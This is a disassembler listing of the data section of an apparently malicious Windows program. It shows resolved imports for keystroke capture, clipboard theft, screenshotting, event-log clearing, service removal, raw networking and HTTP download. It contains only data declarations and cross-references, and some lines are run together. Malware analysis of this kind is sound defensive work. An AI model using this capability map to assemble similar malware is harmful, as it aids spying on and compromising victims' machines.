dword_4CE204	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_4097DE+8ACr ...
dword_4CE208	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_4097DE+2F0r
dword_4CE20C	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_4097DE+8A4r ...
dword_4CE210	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CE214	dd 0		; resolved to->WININET.InternetReadFile					; sub_4097DE+8B4r ...
dword_4CE218	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_4097DE+6D0r ...
dword_4CE21C	dd 0		; resolved to->KERNEL32.Process32Next					; sub_4097DE+CAr ...
dword_4CE220	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_414050+11Ar
dword_4CE224	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4097DE+A95w ...
dword_4CE228	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4097DE+F2r
dword_4CE22C	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_4097DE+4D3r
dword_4CE230	dd 0		; resolved to->WS2_32.ntohl					; sub_40C0F0+20r ...
dword_4CE234	dd 0							; sub_4097DE+A33r
dword_4CE238	dd 0		; resolved to->WS2_32.ntohs					; sub_4097DE+754r ...
dword_4CE23C	dd 0		dword_4CE240	dd 0							; sub_40DB39+A7r
dword_4CE244	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_4097DE+86Dr
dword_4CE248	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_40B496+16o ...
dword_4CE24C	dd 0							; sub_4097DE+A1Br ...
dword_4CE250	dd 0		; resolved to->ADVAPI32.ControlService					; sub_4097DE+3D7r ...
dword_4CE254	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_4097DE+3DFr ...
dword_4CE258	dd 0							; sub_4097DE+C8Cr
dword_4CE25C	dd 0		; resolved to->WS2_32.getpeername					; sub_41146C+D0r
dword_4CE260	dd 0		; resolved to->WS2_32.WSACleanup					; sub_40111A+23r ...
dword_4CE264	dd 0		; resolved to->GDI32.DeleteObjectdword_4CE268	dd 0							; sub_4097DE+A4Br ...
dword_4CE26C	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_4097DE+2B2w ...
dword_4CE270	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4097DE+DAr ...
dword_4CE274	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_401AA1+7798r ...
dword_4CE278	dd 0		; resolved to->WS2_32.WSAStartup					; sub_401AA1+5028r ...
dword_4CE27C	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_4097DE+890r ...
dword_4CE280	dd 0							; sub_4097DE+A23r
dword_4CE284	dd 0							; sub_4097DE+C3Fr ...
dword_4CE288	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_418B6C+47r
dword_4CE28C	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_412911+40r ...
dword_4CE290	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4097DE+92Er ...
dword_4CE294	dd 0		dword_4CE298	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_418B6C+4Fr
dword_4CE29C	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_4097DE+6E8r ...
dword_4CE2A0	dd 0		; resolved to->WININET.InternetOpenA					; sub_4097DE+873r
dword_4CE2A4	dd 0		; resolved to->USER32.GetWindowTextA					; sub_4097DE+23Cr ...
dword_4CE2A8	dd 0		; resolved to->USER32.IsWindow					; sub_4097DE+1C2r
dword_4CE2AC	dd 0		; resolved to->WS2_32.getsockname					; sub_401AA1+59D5r ...
dword_4CE2B0	dd 0		; resolved to->WS2_32.connect					; sub_401AA1+50B2r ...
dword_4CE2B4	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_4097DE+6DCr ...
dword_4CE2B8	dd 0							; sub_4097DE:loc_40A0D7w ...
dword_4CE2BC	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4097DE+28Bw ...
dword_4CE2C0	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_4097DE+69Fw ...
dword_4CE2C4	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4097DE+341r ...
dword_4CE2C8	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4097DE+3EFr ...
dword_4CE2CC	dd 0							; sub_4097DE+C37r ...
dword_4CE2D0	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_4097DE+888r ...
dword_4CE2D4	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_4097DE+227r ...
dword_4CE2D8	dd 0		; resolved to->USER32.OpenClipboard					; sub_4097DE+1D2r ...
dword_4CE2DC	dd 0		; resolved to->WININET.InternetConnectA					; sub_4097DE+898r ...
dword_4CE2E0	dd 0		; resolved to->WSOCK32.recvfrom					; sub_4097DE+774r ...
dword_4CE2E4	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_4097DE+2BFw ...
dword_4CE2E8	dd 0		; resolved to->WSOCK32.setsockopt					; sub_4097DE+79Cr ...
dword_4CE2EC	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_4097DE+334r ...
dword_4CE2F0	dd 0		; resolved to->WS2_32.select					; sub_4097DE+784r ...
dword_4CE2F4	dd 0		; resolved to->GDI32.CreateDCA					; sub_4097DE+4AEr
dword_4CE2F8	dd 0		; resolved to->USER32.GetClipboardData					; sub_4097DE+1DAr ...
dword_4CE2FC	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_4097DE+3BAr ...
dword_4CE300	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CE304	dd 0		; resolved to->WS2_32.ntohl					; sub_4097DE+748r ...
dword_4CE308	dd 0		; resolved to->WS2_32.ntohs					; sub_401AA1+5064r ...
dword_4CE30C	dd 0		; resolved to->KERNEL32.Process32First					; sub_4097DE+C2r ...
dword_4CE310	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_4097DE+4CBr
dword_4CE314	dd 0		; resolved to->USER32.FindWindowA					; sub_4097DE+1BAr ...
dword_4CE318	dd 0							; sub_4097DE+A5Br ...
dword_4CE31C	dd 0		; resolved to->WS2_32.gethostname					; sub_4097DE+7ACr ...
dword_4CE320	dd 0		; resolved to->WSOCK32.recv					; sub_401AA1+50C7r ...
dword_4CE324	dd 0							; sub_4097DE+C47r ...
dword_4CE328	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4097DE+BAr ...
dword_4CE32C	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_4097DE+298w ...
dword_4CE330	dd 0		; resolved to->WS2_32.listen					; sub_4097DE+78Cr ...
dword_4CE334	dd 0		; resolved to->WS2_32.bind					; sub_4097DE+77Cr ...
dword_4CE338	dd 0		dword_4CE33C	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_4169AB+4C9r ...
dword_4CE340	dd 0		dword_4CE344	dd 0							; sub_4097DE+C22r ...
dword_4CE348	dd 0		; resolved to->WS2_32.inet_addr					; sub_401AA1+5E8Cr ...
dword_4CE34C	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_4097DE+4BBr
dword_4CE350	dd 0		; resolved to->GDI32.BitBlt					; sub_4097DE+4E3r
dword_4CE354	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_4097DE+4C3r
dword_4CE358	dd 0		; resolved to->WS2_32.send					; sub_401AA1+50E4r ...
dword_4CE35C	dd 0		; resolved to->USER32.CloseClipboard					; sub_4097DE+1E2r ...
dword_4CE360	dd 0							; sub_4097DE+A53r ...
dword_4CE364	dd 0		; resolved to->USER32.SendMessageA					; sub_4097DE+1ADr ...
dword_4CE368	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_4097DE+E2r ...
dword_4CE36C	dd 0		; resolved to->WS2_32.sendto					; sub_4097DE+764r ...
dword_4CE370	dd 0							; sub_4097DE+B5Fr
dword_4CE374	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_419CCF+55r
dword_4CE378	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4097DE+2D3r ...
dword_4CE37C	dd 0		; resolved to->SHELL32.SHChangeNotifydword_4CE380	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40A7FD+8Fr
dword_4CE384	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_4097DE+AE6r ...
dword_4CE388	dd 0		; resolved to->WS2_32.socket					; sub_401AA1+5043r ...
dword_4CE38C	dd 0		; resolved to->WS2_32.gethostbyname					; sub_401AA1+7744r ...
dword_4CE390	dd 0							; sub_4097DE+C2Fr ...
dword_4CE394	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_401AA1+59FBr ...
dword_4CE398	dd 0							; sub_4097DE+A2Br ...
dword_4CE39C	dd 0		; resolved to->WS2_32.accept					; sub_4097DE+794r ...
dword_4CE3A0	dd 0		; resolved to->WS2_32.closesocket					; sub_4017BF+D0r ...
dword_4CE3A4	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_4097DE+70Cr ...
dword_4CE3A8	dd 0							; sub_4097DE+B57r ...
dword_4CE3AC	dd 0		; resolved to->WS2_32.WSASocketA					; sub_4097DE+6C4r ...
dword_4CE3B0	dd 0							; sub_4097DE+B4Ar ...
dword_4CE3B4	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_4097DE+31w ...
dword_4CE3B8	dd 0		; resolved to->USER32.DestroyWindow					; sub_4097DE+1CAr
dword_4CE3BC	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4097DE+93Br ...
dword_4CE3C0	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_4097DE+EAr ...
dword_4CE3C4	dd 0							; sub_4097DE+12Bw ...
dword_4CE3C8	dd 0							; sub_40A49A+1Cr
dword_4CE3CC	dd 0							; sub_4097DE:loc_409A33w ...
dword_4CE3D0	dd 0							; sub_40A49A+50r
dword_4CE3D4	dd 0							; sub_401AA1+4448r ...
dword_4CE3D8	dd 0							; sub_40A49A+84r
dword_4CE3DC	dd 0							; sub_40A49A:loc_40A54Ar
dword_4CE3E0	dd 0							; sub_40A49A+B8r
dword_4CE3E4	dd 0							; sub_40A49A:loc_40A57Er
dword_4CE3E8	dd 0							; sub_40A49A+ECr
dword_4CE3EC	dd 0							; sub_4097DE+8EFw ...
dword_4CE3F0	dd 0							; sub_40A49A+120r
dword_4CE3F4	dd 0							; sub_4097DE:loc_40A132w ...
dword_4CE3F8	dd 0							; sub_40A49A+154r
dword_4CE3FC	dd 0							; sub_4097DE:loc_40A24Ew ...
dword_4CE400	dd 0							; sub_40A49A+188r
dword_4CE404	dd 0							; sub_40A49A:loc_40A64Er
dword_4CE408	dd 0							; sub_40A49A+1BCr
dword_4CE40C	dd 0							; sub_40A49A:loc_40A682r
dword_4CE410	dd 0							; sub_40A49A+1F0r
dword_4CE414	dd 0							; sub_40A49A:loc_40A6B6r
dword_4CE418	dd 0							; sub_40A49A+224r
dword_4CE41C	dd 0							; sub_40A49A:loc_40A6EAr
dword_4CE420	dd 0							; sub_40A49A+258r
dword_4CE424	dd 0							; sub_40A49A:loc_40A71Er
dword_4CE428	dd 0							; sub_40A49A+28Cr
dword_4CE42C	dd 0							; sub_40A49A:loc_40A752r
dword_4CE430	dd 0							; sub_40A49A+2C0r
dword_4CE434	dd 4 dup(0)	byte_4CE444	db 0			; DATA XREF: sub_40B153+64r
					; sub_40B153+92w
		align 4
dword_4CE448	dd 0							; sub_40C138+92w ...
dword_4CE44C	dd 0							; sub_40C485+D9w ...
		dd 7FEh	dup(0)
dword_4D0448	dd 6 dup(0)						; sub_40C271+129o ...
dword_4D0460	dd 0							; sub_40BC0C+34Do
dword_4D0464	dd 0							; sub_40BC0C+35Fr
dword_4D0468	dd 0		dword_4D046C	dd 0							; sub_40BC0C+320r
dword_4D0470	dd 20h dup(0)						; sub_40BC0C+307o
dword_4D04F0	dd 0		dword_4D04F4	dd 0							; sub_40BC0C+311w
dword_4D04F8	dd 0				align 10h
dword_4D0500	dd 0							; sub_40BC0C+FEo
dword_4D0504	dd 41h dup(0)	dword_4D0608	dd 41h dup(0)	dword_4D070C	dd 0							; sub_40BC0C+110r
dword_4D0710	dd 0		dword_4D0714	dd 0							; sub_40BC0C+D1r
dword_4D0718	dd 20h dup(0)						; sub_40BC0C+B7o
dword_4D0798	dd 0		dword_4D079C	dd 0							; sub_40BC0C+C1w
dword_4D07A0	dd 0				align 8
dword_4D07A8	dd 0							; sub_40BC0C+226o
dword_4D07AC	dd 41h dup(0)	dword_4D08B0	dd 41h dup(0)	dword_4D09B4	dd 0							; sub_40BC0C+238r
dword_4D09B8	dd 0		dword_4D09BC	dd 0							; sub_40BC0C+1F9r
dword_4D09C0	dd 20h dup(0)						; sub_40BC0C+1DFo
dword_4D0A40	dd 0		dword_4D0A44	dd 0							; sub_40BC0C+1E9w
dword_4D0A48	dd 0				align 10h
dword_4D0A50	dd 0							; sub_40BC0C+467o
dword_4D0A54	dd 0A2h	dup(0)	dword_4D0CDC	dd 41h dup(0)	dword_4D0DE0	dd 0							; sub_40BC0C+41Ar
		align 8
dword_4D0DE8	dd 0							; sub_40BC0C+479r
dword_4D0DEC	dd 0		dword_4D0DF0	dd 0		dword_4D0DF4	dd 0				dd 0
dword_4D0DFC	dd 0		dword_4D0E00	dd 0							; sub_40B85E+31r ...
dword_4D0E04	dd 0							; sub_40B85E+25r ...
dword_4D0E08	dd 80h dup(0)	dword_4D1008	dd 2 dup(0)	dword_4D1010	dd 0		dword_4D1014	dd 0							; sub_40EA40+2D9o
dword_4D1018	dd 2 dup(0)	dword_4D1020	dd 0							; sub_40F219+BCo ...
dword_4D1024	dd 0							; sub_40F219+DAr ...
dword_4D1028	dd 0							; sub_40F219+CFr ...
dword_4D102C	dd 0							; sub_40F219+95o ...
dword_4D1030	dd 0							; sub_40F1CE+3Dr ...
dword_4D1034	dd 0							; sub_40F3EE+10w ...
dword_4D1038	dd 0							; sub_40F405+27Cw
dword_4D103C	dd 0							; sub_40FCA7+51r ...
		dd 0
dword_4D1044	dd 0				dd 0
dword_4D104C	dd 0							; sub_413135+9o
byte_4D1050	db 0			; DATA XREF: sub_413C65+1C1w
					; sub_413C65+2C0o
		align 2
word_4D1052	dw 0			; DATA XREF: sub_413C65+1D1w
word_4D1054	dw 0			; DATA XREF: sub_413C65+1D7w
word_4D1056	dw 0			; DATA XREF: sub_413C65+1DEw
byte_4D1058	db 0			; DATA XREF: sub_413C65+1E5w
byte_4D1059	db 0			; DATA XREF: sub_413C65+1ECw
word_4D105A	dw 0			; DATA XREF: sub_413C65+1F2w
dword_4D105C	dd 0							; sub_413C65+23Ew
dword_4D1060	dd 0		byte_4D1064	db 0			; DATA XREF: sub_413C65+258w
byte_4D1065	db 0			; DATA XREF: sub_413C65+26Bw
word_4D1066	dw 0			; DATA XREF: sub_413C65+283w
word_4D1068	dw 0			; DATA XREF: sub_413C65+292w
word_4D106A	dw 0			; DATA XREF: sub_413C65+28Aw
dword_4D106C	dd 101h	dup(0)	dword_4D1470	dd 80h dup(0)						; sub_401AA1:loc_404A6Eo ...
byte_4D1670	db 0			; DATA XREF: sub_4154EE+19Fw
					; sub_4154EE+278o
		align 2
word_4D1672	dw 0			; DATA XREF: sub_4154EE+1ACw
word_4D1674	dw 0			; DATA XREF: sub_4154EE+1B6w
word_4D1676	dw 0			; DATA XREF: sub_4154EE+1BFw
byte_4D1678	db 0			; DATA XREF: sub_4154EE+1C6w
byte_4D1679	db 0			; DATA XREF: sub_4154EE+1CDw
word_4D167A	dw 0			; DATA XREF: sub_4154EE+1D4w
dword_4D167C	dd 0		dword_4D1680	dd 0		word_4D1684	dw 0			; DATA XREF: sub_4154EE+242w
word_4D1686	dw 0			; DATA XREF: sub_4154EE+22Aw
word_4D1688	dw 0			; DATA XREF: sub_4154EE+254w
word_4D168A	dw 0			; DATA XREF: sub_4154EE+1F5w
dword_4D168C	dd 100h	dup(0)	dword_4D1A8C	dd 0							; sub_401AA1+2F16r ...
		dd 0
byte_4D1A94	db 0			; DATA XREF: sub_4159E0+22Ao
					; sub_4159E0+239w ...
byte_4D1A95	db 0			; DATA XREF: sub_4159E0+24Dw
word_4D1A96	dw 0			; DATA XREF: sub_4159E0+27Ew
word_4D1A98	dw 0			; DATA XREF: sub_4159E0+265w
					; sub_4159E0:loc_415D99w
word_4D1A9A	dw 0			; DATA XREF: sub_4159E0+284w
byte_4D1A9C	db 0			; DATA XREF: sub_4159E0+271w
byte_4D1A9D	db 0			; DATA XREF: sub_4159E0+246w
word_4D1A9E	dw 0			; DATA XREF: sub_4159E0+3D9w
					; sub_4159E0+403w
dword_4D1AA0	dd 0							; sub_4159E0+383r
dword_4D1AA4	dd 0		word_4D1AA8	dw 0			; DATA XREF: sub_4159E0+37Dw
					; sub_4159E0+3CFo
word_4D1AAA	dw 0			; DATA XREF: sub_4159E0+31Ew
					; sub_4159E0+343r ...
dword_4D1AAC	dd 0							; sub_4159E0+3C0w
dword_4D1AB0	dd 0							; sub_4159E0+394w ...
byte_4D1AB4	db 0			; DATA XREF: sub_4159E0+2FAr
					; sub_4159E0+308w
byte_4D1AB5	db 0			; DATA XREF: sub_4159E0+2C4w
					; sub_4159E0+38Dw ...
word_4D1AB6	dw 0			; DATA XREF: sub_4159E0+2D2w
word_4D1AB8	dw 0			; DATA XREF: sub_4159E0+3E0w
					; sub_4159E0+411w
word_4D1ABA	dw 0			; DATA XREF: sub_4159E0+317w
word_4D1ABC	dw 0			; DATA XREF: sub_4159E0+349w
					; sub_4159E0+419o
word_4D1ABE	dw 0			; DATA XREF: sub_4159E0+358w
					; sub_4159E0+3F0w
dword_4D1AC0	dd 0				dd 2 dup(0)
dword_4D1ACC	dd 0							; sub_4159E0+3FEo
dword_4D1AD0	dd 0		byte_4D1AD4	db 0			; DATA XREF: sub_4159E0+32Aw
byte_4D1AD5	db 0			; DATA XREF: sub_4159E0+330w
word_4D1AD6	dw 0			; DATA XREF: sub_4159E0+33Dw
dword_4D1AD8	dd 6 dup(0)	dword_4D1AF0	dd 0							; sub_4159E0+422r
		align 8
dword_4D1AF8	dd 100h	dup(0)						; sub_4159E0+465o
dword_4D1EF8	dd 896h	dup(0)						; sub_415FE5o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .XPack0:off_43A7F8o
		dd 769h	dup(0)
dword_4D5EF8	dd 0Eh dup(0)						; sub_415FE5+Eo ...
dword_4D5F30	dd 80h dup(0)	dword_4D6130	dd 200h	dup(0)						; sub_417805+DDo ...
dword_4D6930	dd 200h	dup(0)						; sub_417805+F4o ...
dword_4D7130	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_41767C+94r
dword_4D7134	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_417AD6+55r ...
dword_4D7138	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_41767C+D6r ...
dword_4D713C	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_41767C+35r ...
dword_4D7140	dd 80h dup(0)	dword_4D7340	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_41767C+A2r
dword_4D7344	dd 0							; sub_4174AA+103r ...
dword_4D7348	dd 0							; sub_4179A9+107w
dword_4D734C	dd 0							; sub_4179A9+10Dw ...
dword_4D7350	dd 0							; sub_417AD6+4Fr
		align 8
dword_4D7358	dd 0							; sub_417DC2:loc_417F41w ...
dword_4D735C	dd 0							; sub_417C86+12o ...
		dd 0
dword_4D7364	dd 0							; sub_417F61+3Ar
		dd 7Fh dup(0)
dword_4D7564	dd 0							; sub_417F61+4Aw
		dd 1944h dup(0)
dword_4DDA78	dd 0							; sub_4187D7+6Ao
dword_4DDA7C	dd 7Fh dup(0)						; sub_417C86+3Co
dword_4DDC78	dd 18h dup(0)						; sub_418E7F+131o ...
dword_4DDCD8	dd 80h dup(0)						; sub_419C11+A5o
dword_4DDED8	dd 0							; sub_4191FC+4Dr ...
		align 10h
dword_4DDEE0	dd 18h dup(0)						; sub_419ADD+12Do
dword_4DDF40	dd 80h dup(0)						; sub_41913D+7Do ...
byte_4DE140	db 0			; DATA XREF: sub_4191FC+29r
					; sub_4191FC+34w
		align 8
dword_4DE148	dd 80h dup(0)						; sub_419453+88o ...
dword_4DE348	dd 80h dup(0)						; sub_418D56+50o ...
dword_4DE548	dd 0							; sub_41A181+54r ...
dword_4DE54C	dd 0							; sub_41A181+37r ...
dword_4DE550	dd 0							; sub_41A2D6+83o
dword_4DE554	dd 0							; sub_41A2D6+11Bw
dword_4DE558	dd 0Dh dup(0)						; sub_41A2D6:loc_41A413o
dword_4DE58C	dd 0							; sub_41A181+ECr ...
dword_4DE590	dd 0Dh dup(0)	dword_4DE5C4	dd 0							; sub_41D88C:loc_41D908w ...
dword_4DE5C8	dd 0							; sub_41E112:loc_41E1ACw ...
dword_4DE5CC	dd 0		dword_4DE5D0	dd 0A28h	dword_4DE5D4	dd 501h		dword_4DE5D8	dd 5		dword_4DE5DC	dd 1		dword_4DE5E0	dd 1							; sub_42364E+91w
dword_4DE5E4	dd 351400h						; sub_40121E+30Cr ...
		dd 0
dword_4DE5EC	dd 351428h						; sub_426197+9r ...
dword_4DE5F0	dd 0		dword_4DE5F4	dd 0							; sub_426565+4r ...
		dd 0
off_4DE5FC	dd offset aCM_unpackerPac ; DATA XREF: sub_42364E+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DE604	db 0			; DATA XREF: sub_41BE43+2Dw
					; sub_4240A3+5r
		align 4
dword_4DE608	dd 0		dword_4DE60C	dd 0							; sub_41BE43+8Bw
dword_4DE610	dd 0							; sub_41C764+91w
		align 8
dword_4DE618	dd 0				align 10h
dword_4DE620	dd 0							; sub_41D71B+A4w
		align 8
word_4DE628	dw 0			; DATA XREF: sub_41D71B+55r
					; sub_41D71B+9Ao
word_4DE62A	dw 0			; DATA XREF: sub_41D71B+48r
		db 2 dup(0)
word_4DE62E	dw 0			; DATA XREF: sub_41D71B+3Br
word_4DE630	dw 0			; DATA XREF: sub_41D71B+2Er
word_4DE632	dw 0			; DATA XREF: sub_41D71B+21r
		align 8
dword_4DE638	dd 0							; sub_423595:loc_4235A7r ...
		align 10h
dword_4DE640	dd 0		dword_4DE644	dd 0							; sub_41F2C9+2Dw ...
dword_4DE648	dd 0		dword_4DE64C	dd 0							; sub_41B872:loc_41BAAFr ...
dword_4DE650	dd 1							; sub_4206E2+4w ...
dword_4DE654	dd 0				dd 0
dword_4DE65C	dd 0							; sub_42217D+1Ar ...
byte_4DE660	db 0			; DATA XREF: sub_422079+3r
					; sub_422079+98r ...
		align 4
dword_4DE664	dd 0							; sub_42225B+21w ...
byte_4DE668	db 0			; DATA XREF: sub_42225B+51w
		align 4
dword_4DE66C	dd 0							; sub_42282C+3Ar ...
dword_4DE670	dd 0							; sub_42282C+43r ...
dword_4DE674	dd 0							; sub_4225F8+5r
dword_4DE678	dd 0		dword_4DE67C	dd 2 dup(0)	dword_4DE684	dd 0							; sub_41DC4A+6Er ...
		dd 3 dup(0)
dword_4DE694	dd 0							; sub_41DED4+BFr ...
		dd 0
dword_4DE69C	dd 1							; sub_42316A+4Cw ...
dword_4DE6A0	dd 0							; sub_4233B9+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42364E:loc_423665o
					; .XPack0:off_4DE5FCo
		align 10h
		dd 3Ah dup(0)
dword_4DE7A8	dd 1							; sub_42389B+23w ...
dword_4DE7AC	dd 0		dword_4DE7B0	dd 0							; sub_420AE6:loc_420B0Fw ...
dword_4DE7B4	dd 0		dword_4DE7B8	dd 1							; sub_4243B4:loc_42441Ew
		align 10h
word_4DE7C0	dw 0			; DATA XREF: sub_424CB9+1Ao
					; sub_424CB9+46r
byte_4DE7C2	db 0			; DATA XREF: sub_424CB9+39r
		align 4
dword_4DE7C4	dd 7 dup(0)	dword_4DE7E0	dd 0							; sub_424CB9+5Co
dword_4DE7E4	dd 0		dword_4DE7E8	dd 0		dword_4DE7EC	dd 0		dword_4DE7F0	dd 77C2807Ch						; sub_424DDC+38r ...
		align 8
dword_4DE7F8	dd 0							; sub_424EBC+63w ...
		align 10h
dword_4DE800	dd 0							; sub_424EBC+46r
dword_4DE804	dd 10h dup(0)	word_4DE844	dw 0			; DATA XREF: sub_42511A+A8r
word_4DE846	dw 0			; DATA XREF: sub_424EBC+54r
					; sub_42511A+DBr ...
word_4DE848	dw 0			; DATA XREF: sub_42511A+CAr
word_4DE84A	dw 0			; DATA XREF: sub_42511A+D3r
					; sub_42511A:loc_42520Cr
word_4DE84C	dw 0			; DATA XREF: sub_42511A+C0r
word_4DE84E	dw 0			; DATA XREF: sub_42511A+B8r
word_4DE850	dw 0			; DATA XREF: sub_42511A+B0r
word_4DE852	dw 0			; DATA XREF: sub_42511A+9Er
dword_4DE854	dd 0		dword_4DE858	dd 10h dup(0)	word_4DE898	dw 0			; DATA XREF: sub_42511A+46r
word_4DE89A	dw 0			; DATA XREF: sub_424EBC:loc_424F33r
					; sub_42511A+78r ...
word_4DE89C	dw 0			; DATA XREF: sub_42511A+67r
word_4DE89E	dw 0			; DATA XREF: sub_42511A+70r
					; sub_42511A:loc_42519Er
word_4DE8A0	dw 0			; DATA XREF: sub_42511A+5Dr
word_4DE8A2	dw 0			; DATA XREF: sub_42511A+55r
word_4DE8A4	dw 0			; DATA XREF: sub_42511A+4Dr
word_4DE8A6	dw 0			; DATA XREF: sub_42511A+3Er
dword_4DE8A8	dd 0		dword_4DE8AC	dd 0							; sub_424EBC:loc_425008r ...
dword_4DE8B0	dd 0		dword_4DE8B4	dd 0		; resolved to->USER32.MessageBoxA					; sub_425448+2Ew ...
dword_4DE8B8	dd 0		; resolved to->USER32.GetActiveWindow					; sub_425448:loc_425497r
dword_4DE8BC	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_425448+60r
dword_4DE8C0	dd 0		dword_4DE8C4	dd 0							; sub_426025+6Do
dword_4DE8C8	dd 0							; sub_426025+44o
dword_4DE8CC	dd 0							; sub_426025+37o
dword_4DE8D0	dd 0							; sub_426025+51o
		align 8
dword_4DE8D8	dd 0							; sub_4265D3+48w ...
dword_4DE8DC	dd 0							; sub_4270BB+4Cw ...
dword_4DE8E0	dd 0							; sub_427346:loc_4273B0w
byte_4DE8E4	db 0			; DATA XREF: sub_40DA34r sub_40DA34+9w
		align 4
dword_4DE8E8	dd 3527A0h						; sub_41FB3D+14r ...
		dd 5 dup(0)
dword_4DE900	dd 400h	dup(0)						; .XPack0:0043FD10o
dword_4DF900	dd 200h							; sub_41E290+56r ...
		dd 7 dup(0)
dword_4DF920	dd 350650h						; sub_41F7BC+2Ar ...
dword_4DF924	dd 3Fh dup(0)	dword_4DFA20	dd 20h							; sub_41F7BC+Cr ...
dword_4DFA24	dd 4E4h							; sub_420549+65w ...
		align 10h
dword_4DFA30	dd 3 dup(0)						; sub_420549+171o ...
dword_4DFA3C	dd 0							; sub_420549+15Dw ...
byte_4DFA40	db 0			; DATA XREF: sub_420788:loc_420894w
					; sub_420788:loc_4208B1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DFB40	db 0			; DATA XREF: sub_420549+5Co
					; sub_420549+AFo ...
byte_4DFB41	db 0			; DATA XREF: sub_41C041+5Dr
					; sub_420549+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DFC44	dd 0							; sub_420549+12Bw ...
dword_4DFC48	dd 0							; sub_41EB74+5r ...
dword_4DFC4C	dd 0							; sub_41E542+25Ar ...
dword_4DFC50	dd 0							; sub_41E542+311w ...
dword_4DFC54	dd 0							; sub_41E542+22Dr ...
dword_4DFC58	dd 0							; sub_41E517r ...
dword_4DFC5C	dd 0							; sub_41E517+8r ...
dword_4DFC60	dd 0							; sub_41BB83+Fr ...
dword_4DFC64	dd 350000h						; sub_41B872+C0r ...
dword_4DFC68	dd 1							; sub_41B872:loc_41B8A2r ...
dword_4DFC6C	dd 142340h						; sub_42353D+Fr ...
dword_4DFC70	dd 1							; sub_426197r
dword_4DFC74	dd 1							; sub_42090D+11w ...
dword_4DFC78	dd 352718h						; sub_41D643+13r ...
dword_4DFC7C	dd 352718h						; sub_41BE43+57r ...
		dd 0E0h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
